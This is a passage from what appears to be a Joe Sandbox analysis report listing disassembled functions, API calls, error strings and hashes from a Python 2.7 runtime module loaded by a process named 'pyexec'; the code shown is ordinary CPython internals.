                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Item$Dict_Err_FormatTuple_
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\tupleobject.c
                                                                                                                                                                    • API String ID: 1227451338-1285866127
                                                                                                                                                                    • Opcode ID: 1833b8cc9d2c269b3a766391bfa0fff445c4540e980635c88c8b657ea71c5b82
                                                                                                                                                                    • Instruction ID: 6549f0e18b4544142b42c7197aa2a78524385effc5177d067cf46a341ff97a94
                                                                                                                                                                    • Opcode Fuzzy Hash: 1833b8cc9d2c269b3a766391bfa0fff445c4540e980635c88c8b657ea71c5b82
                                                                                                                                                                    • Instruction Fuzzy Hash: D21163B6A042046FD710CF65EC41A5BB3A8EB89369F10C629FD6C87241E731E851DBF2
                                                                                                                                                                    Function 67004620 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyObject_CallFunction.PYTHON27(?,6714AF04,?,00000000), ref: 6700463D
                                                                                                                                                                      • Part of subcall function 6708F1F0: PyErr_SetString.PYTHON27(672465C8,null argument to internal routine), ref: 6708F217
                                                                                                                                                                    • PyObject_CallFunction.PYTHON27(?,6714AF08,?,?,00000000), ref: 67004652
                                                                                                                                                                    • PyType_IsSubtype.PYTHON27(?,6726FF60), ref: 67004671
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,%.200s() must return a deque, not %.200s,?,?), ref: 67004694
                                                                                                                                                                    Strings
                                                                                                                                                                    • %.200s() must return a deque, not %.200s, xrefs: 6700468E
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: CallErr_FunctionObject_$FormatStringSubtypeType_
                                                                                                                                                                    • String ID: %.200s() must return a deque, not %.200s
                                                                                                                                                                    • API String ID: 3684490585-3321660540
                                                                                                                                                                    • Opcode ID: 6577724aaecf724b0c1268bb5151daadbf239f3254f88d8a6aeb42226339a160
                                                                                                                                                                    • Instruction ID: f766536346d831cb2cb19ea4d90f3cfbb43df57021e5bc9378a9f3527c0781b6
                                                                                                                                                                    • Opcode Fuzzy Hash: 6577724aaecf724b0c1268bb5151daadbf239f3254f88d8a6aeb42226339a160
                                                                                                                                                                    • Instruction Fuzzy Hash: EB118AFA6045007BDA10D668DC84E17B3ECEB5D738B144616F92887741E721EC50C7F6
                                                                                                                                                                    Function 67001780 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 64COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyArg_ParseTuple_SizeT.PYTHON27(?,S|z:escape_encode,?,?), ref: 6700179E
                                                                                                                                                                    • PyString_Repr.PYTHON27(?,00000000), ref: 670017B8
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Arg_ParseReprSizeString_Tuple_
                                                                                                                                                                    • String ID: S|z:escape_encode
                                                                                                                                                                    • API String ID: 591723016-2463164127
                                                                                                                                                                    • Opcode ID: fdb4c8d33eb2c649fc0aceb802f12432109c3cf7dc679abc33db1ed2a125e7f2
                                                                                                                                                                    • Instruction ID: 1a2795cf15309cf5839de9c8d565e8b8965d4df05e258c89acec0b468fd6cf23
                                                                                                                                                                    • Opcode Fuzzy Hash: fdb4c8d33eb2c649fc0aceb802f12432109c3cf7dc679abc33db1ed2a125e7f2
                                                                                                                                                                    • Instruction Fuzzy Hash: 3F11A777904109ABDB00DBA8EC45A9EB3BCDF4522CF0542E6ED0C97111F631EA1587A2
                                                                                                                                                                    Function 67007DE0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 64COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyString_FromString.PYTHON27(a partial object's dictionary may not be deleted), ref: 67007DFA
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(672448B0,00000000,a partial object's dictionary may not be deleted), ref: 67007E03
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672448B0,setting partial object's dictionary to a non-dict), ref: 67007E40
                                                                                                                                                                    Strings
                                                                                                                                                                    • a partial object's dictionary may not be deleted, xrefs: 67007DF5
                                                                                                                                                                    • setting partial object's dictionary to a non-dict, xrefs: 67007E3A
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_String$FromObjectString_
                                                                                                                                                                    • String ID: a partial object's dictionary may not be deleted$setting partial object's dictionary to a non-dict
                                                                                                                                                                    • API String ID: 354487993-3418915442
                                                                                                                                                                    • Opcode ID: 9734b626471efc585f884b0d8eb9107af02af78718b3bf2e74d1c7ce40760099
                                                                                                                                                                    • Instruction ID: 6477b0cf159d233d00807f499bbeda7261acda9baacf7618e8d26109381bd531
                                                                                                                                                                    • Opcode Fuzzy Hash: 9734b626471efc585f884b0d8eb9107af02af78718b3bf2e74d1c7ce40760099
                                                                                                                                                                    • Instruction Fuzzy Hash: 0C11E732A065055BD614CA68EC4495A33A8DF4D338B040355ED3C8B2D1D735DC42C7E2
                                                                                                                                                                    Function 670A66F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyDict_New.PYTHON27 ref: 670A670B
                                                                                                                                                                      • Part of subcall function 670A4510: PyString_FromString.PYTHON27(<dummy key>,00000000,00000000,00000000,?,?,670C50C0,?,00000014,?,6712DEB4), ref: 670A4529
                                                                                                                                                                    • PyDict_Merge.PYTHON27(00000000,?,00000001), ref: 670A671A
                                                                                                                                                                      • Part of subcall function 670A6460: PyDict_GetItem.PYTHON27(00000000,?,?,?,?,?,?,670A6452,?,?,00000001), ref: 670A650F
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\dictobject.c,000006CD), ref: 670A675C
                                                                                                                                                                    Strings
                                                                                                                                                                    • ..\Objects\dictobject.c, xrefs: 670A6751
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 670A6756
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Dict_$Err_FormatFromItemMergeStringString_
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\dictobject.c
                                                                                                                                                                    • API String ID: 3192880165-1541589624
                                                                                                                                                                    • Opcode ID: 1ba5049d4dfd1a97c76452022ff9c1e9facf3d9e874ada33f40a243bc110f655
                                                                                                                                                                    • Instruction ID: 0b915ea9282273fe501c2cd74faf9bbd0081913813455757d802ef05ba314653
                                                                                                                                                                    • Opcode Fuzzy Hash: 1ba5049d4dfd1a97c76452022ff9c1e9facf3d9e874ada33f40a243bc110f655
                                                                                                                                                                    • Instruction Fuzzy Hash: B301F73A72061417D621D9ACAC46F9A73A8DB89A34F000366ED2887282FA11D811C2E2
                                                                                                                                                                    Function 670AA6E0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 51COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,%.200s attribute not set,object), ref: 670AA6FD
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,%.200s attribute must be str,object), ref: 670AA726
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Format
                                                                                                                                                                    • String ID: %.200s attribute must be str$%.200s attribute not set$object
                                                                                                                                                                    • API String ID: 376477240-465120111
                                                                                                                                                                    • Opcode ID: 33cd4ea4b487980853a14af205dc258d2d99be806cc729c2afd4f33a7159cd6c
                                                                                                                                                                    • Instruction ID: dd55d738d639c67d4bf10b3da357b398b486683c1ada2b777d6ec0f6d5bb2883
                                                                                                                                                                    • Opcode Fuzzy Hash: 33cd4ea4b487980853a14af205dc258d2d99be806cc729c2afd4f33a7159cd6c
                                                                                                                                                                    • Instruction Fuzzy Hash: E30140759546059FC701CFA8DD44A5A73B4AF1D738F244695F8288B382D736D892CBE0
                                                                                                                                                                    Function 6708DE70 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyNumber_Index.PYTHON27(?), ref: 6708DE7B
                                                                                                                                                                      • Part of subcall function 6708D650: PyErr_SetString.PYTHON27(672465C8,null argument to internal routine,?,?,6708D72E,?,?,?,?,6708B2E8,6708EF3A,67245B38), ref: 6708D673
                                                                                                                                                                    • _PyLong_Format.PYTHON27(00000000,?,00000000,00000001), ref: 6708DEA3
                                                                                                                                                                    Strings
                                                                                                                                                                    • PyNumber_ToBase: index not int or long, xrefs: 6708DECF
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_FormatIndexLong_Number_String
                                                                                                                                                                    • String ID: PyNumber_ToBase: index not int or long
                                                                                                                                                                    • API String ID: 2826168078-4256377746
                                                                                                                                                                    • Opcode ID: 908bbe5998bbf758da356581c51c0146799a90432bc05b54c5a119dc847735c3
                                                                                                                                                                    • Instruction ID: 64beb2f394be6c16e5aeff52135dd7103b860eadfbc9ed0c22bc01602ec9c3fe
                                                                                                                                                                    • Opcode Fuzzy Hash: 908bbe5998bbf758da356581c51c0146799a90432bc05b54c5a119dc847735c3
                                                                                                                                                                    • Instruction Fuzzy Hash: CB01D6726006106BDB25EA55DC40FAB33DD9F9C724F204626FA688B280D735E942C7F2
                                                                                                                                                                    Function 670A4F20 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 47COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\dictobject.c,000002FB,00000000,?,?,671273E7,00000000,00000000,?,?,6712DEB4), ref: 670A4F4D
                                                                                                                                                                    • PyObject_Hash.PYTHON27(?,00000000,?,?,671273E7,00000000,00000000,?,?,6712DEB4), ref: 670A4F72
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_FormatHashObject_
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\dictobject.c$h#g
                                                                                                                                                                    • API String ID: 896634218-750325855
                                                                                                                                                                    • Opcode ID: 9f87a4f0a8d24be60067ffb3bf22aa4096a961136fb689a737942ffa6c6bad77
                                                                                                                                                                    • Instruction ID: 95c89418858364efd5ea7904d995f54f6672a9d78d48d4bb46f833e8d736d8b6
                                                                                                                                                                    • Opcode Fuzzy Hash: 9f87a4f0a8d24be60067ffb3bf22aa4096a961136fb689a737942ffa6c6bad77
                                                                                                                                                                    • Instruction Fuzzy Hash: D7012179A041056BD3109AAC9C42EAA73A8EB49334F004726FC3C83681EB35E85186F2
                                                                                                                                                                    Function 6709ED40 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 47COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672448B0,PyCObject_GetDesc with non-C-object), ref: 6709ED6C
                                                                                                                                                                    • PyString_FromString.PYTHON27(PyCObject_GetDesc called with null pointer), ref: 6709ED8B
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(672448B0,00000000,PyCObject_GetDesc called with null pointer), ref: 6709ED94
                                                                                                                                                                    Strings
                                                                                                                                                                    • PyCObject_GetDesc with non-C-object, xrefs: 6709ED66
                                                                                                                                                                    • PyCObject_GetDesc called with null pointer, xrefs: 6709ED86
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_String$FromObjectString_
                                                                                                                                                                    • String ID: PyCObject_GetDesc called with null pointer$PyCObject_GetDesc with non-C-object
                                                                                                                                                                    • API String ID: 354487993-3115127300
                                                                                                                                                                    • Opcode ID: fa5d787c617621296c92170f8d02c6b0d3d71c5267454afc09723304e364a9c5
                                                                                                                                                                    • Instruction ID: 33919ee042ae0bb99bfefb99844f29c45406eb23f092772df96f93994e416b9f
                                                                                                                                                                    • Opcode Fuzzy Hash: fa5d787c617621296c92170f8d02c6b0d3d71c5267454afc09723304e364a9c5
                                                                                                                                                                    • Instruction Fuzzy Hash: 4201DB739115059BC610CA58EC49E9A73E8EB5E334F084775ED2C8B280E735DC52DBE2
                                                                                                                                                                    Function 670CBED0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 46COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyType_IsSubtype.PYTHON27(?,?), ref: 670CBEEC
                                                                                                                                                                    • PyType_IsSubtype.PYTHON27(?,?), ref: 670CBF06
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\setobject.c,00000919), ref: 670CBF2C
                                                                                                                                                                    Strings
                                                                                                                                                                    • ..\Objects\setobject.c, xrefs: 670CBF21
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 670CBF26
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: SubtypeType_$Err_Format
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\setobject.c
                                                                                                                                                                    • API String ID: 1453002970-1012936799
                                                                                                                                                                    • Opcode ID: eba37083bcba6938e2d849406bd291a0fad939a4b260c3c55112805b194e8a5f
                                                                                                                                                                    • Instruction ID: 1f0f95bbe3983532163002daec33842dbbfa02dd589be97c56ce20fd1df2c3c2
                                                                                                                                                                    • Opcode Fuzzy Hash: eba37083bcba6938e2d849406bd291a0fad939a4b260c3c55112805b194e8a5f
                                                                                                                                                                    • Instruction Fuzzy Hash: 7BF028BEA10128A64A00951C7C42AAE73DC8B5D239B000312FD38A7391E730AD528DF3
                                                                                                                                                                    Function 67008FC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyString_FromString.PYTHON27(logreader's file object already closed), ref: 67008FDD
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(67245D10,00000000,logreader's file object already closed), ref: 67008FE6
                                                                                                                                                                    • _fileno.MSVCR90 ref: 6700900C
                                                                                                                                                                    • PyInt_FromLong.PYTHON27(00000000), ref: 67009013
                                                                                                                                                                    Strings
                                                                                                                                                                    • logreader's file object already closed, xrefs: 67008FD8
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: From$Err_Int_LongObjectStringString__fileno
                                                                                                                                                                    • String ID: logreader's file object already closed
                                                                                                                                                                    • API String ID: 2431734947-2904759066
                                                                                                                                                                    • Opcode ID: 48e887efe7e8b8bc42cda13506e32294545a09dce01f3e855024cb786aad94e8
                                                                                                                                                                    • Instruction ID: 7590f75978658ff5e550ed290abd44be7f3f8284d9f2287441758b2f36da0746
                                                                                                                                                                    • Opcode Fuzzy Hash: 48e887efe7e8b8bc42cda13506e32294545a09dce01f3e855024cb786aad94e8
                                                                                                                                                                    • Instruction Fuzzy Hash: 84F02B739105145BC710AA68EC09AAB33ECDF8A634B010366EE18C7240E735E80287F2
                                                                                                                                                                    Function 6710E7C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 39COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyOS_CheckStack.PYTHON27(?,?,6708F0AA, while calling a Python object,00000001,?,?,67112AB3,00000000,?,67060E50), ref: 6710E7CA
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672467A8,Stack overflow,?,?,6708F0AA, while calling a Python object,00000001,?,?,67112AB3,00000000,?,67060E50), ref: 6710E7E1
                                                                                                                                                                    • PyErr_Format.PYTHON27(67245248,maximum recursion depth exceeded%s,00000000,?,?,6708F0AA, while calling a Python object,00000001,?,?,67112AB3,00000000,?,67060E50), ref: 6710E810
                                                                                                                                                                    Strings
                                                                                                                                                                    • Stack overflow, xrefs: 6710E7DB
                                                                                                                                                                    • maximum recursion depth exceeded%s, xrefs: 6710E80A
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
